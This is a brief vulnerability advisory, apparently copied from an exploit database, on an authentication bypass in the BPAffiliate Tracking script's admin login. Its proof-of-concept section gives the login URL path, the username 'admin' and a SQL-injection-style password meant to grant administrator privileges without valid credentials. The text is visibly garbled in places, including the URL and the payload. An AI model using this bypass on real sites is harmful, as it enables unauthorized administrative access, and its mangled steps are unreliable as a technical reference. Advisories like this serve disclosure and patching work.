BPAffiliate Affiliate Tracking verification Bypass Vulnerability

BPAffiliate Tracking is a distributor program script that can be used to track franchisees. BPAffiliate Tracking has a verification bypass vulnerability, which may cause attackers to directly obtain administrator privileges.

[+] Info:
~~~~~~~~~
BPAffiliate Affiliate Tracking Authentication Bypass Vulnerability
Author: v3n0m
Site: http://yogyacarderlink.web.id/
Date: November, 16-2010
Location: Jakarta, Indonesia
Time Zone: GMT + 7: 00
Application: BPAffiliateTracking-Affiliate Tracking Script
Price: $24.40
Vendor: http://www.bpowerhouse.info/

[+] Poc:
~~~~~~~~~
Go
Asp "> http: // 127.0.0.1/[path]/adminlogin. asp

Then login
Username: admin
Password: 1or1 = 1

[+] Reference:
~~~~~~~~~
Http://www.exploit-db.com/exploits/15551

From: BugZone